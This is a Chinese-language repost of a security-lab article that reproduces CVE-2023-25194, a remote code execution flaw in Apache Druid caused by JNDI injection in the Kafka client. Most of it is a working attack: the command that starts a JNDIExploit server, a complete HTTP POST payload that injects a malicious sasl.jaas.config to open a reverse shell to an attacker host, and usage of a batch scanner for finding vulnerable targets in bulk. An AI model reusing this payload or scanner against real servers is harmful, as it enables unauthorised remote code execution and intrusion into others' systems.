CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

admin 2024年1月10日13:30:00评论19 views字数 2052阅读6分50秒阅读模式

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。    

CVE-2023-25194

漏洞描述:

在版本3.4.0以前,Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性sasl.jaas.config的值为com.sun.security.auth.module.JndiLoginModule,则可以发起JNDI连接,进而导致JNDI注入漏洞,执行任意命令。

影响版本:

2.3.0 <= Apache Kafka <= 3.3.2

漏洞复现:

以反弹shell为例进行实验

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i IP -u

Tips:该命令会显示所有利用方式,仔细看一下格式构造Payload即可。不仅仅限于反弹shell

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

1.启动JNDI服务器

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i xx.xx.xx.xx

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

2.发送Payload加载恶意代码。

反弹shell-Payload

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: 1.1.1.1:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Content-Type: application/jsonContent-Length: 1444        Connection: close{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://xx.xx.xx.xx:1389/Basic/ReverseShell/xx.xx.xx.xx/5678" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\s\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{            },            "granularitySpec":{                "rollup":false            }        },                "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

3.JNDI服务器端显示信息

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

上号!

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

批量扫描工具:

本工具仅作为安全测试,勿要进行非法攻击。否则造成的后果自行承担。

工具逻辑:

工具通过JNDI加载DNSlog平台返回的响应内容判断是否存在漏洞。响应内容判断逻辑为经过测试后能够顺利利用所响应的内容,部分响应内容在dnslog平台可以收到目标连接,但是最终无法利用这里已做忽略。

单目标利用

python3 CVE-2023-25194_Scan.py -u http://127.0.0.1:8080

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

批量扫描

存在漏洞的URL会存放在当前目录result.txt内。

python3 CVE-2023-25194_Scan.py -f url.txt

CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

工具地址:https://github.com/YongYe-Security/CVE-2023-25194

原文始发于微信公众号(YongYe 安全实验室):CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日13:30:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-25194__Apache Druid-RCE复现__附批量扫描脚本https://cn-sec.com/archives/2343510.html

发表评论

匿名网友 填写信息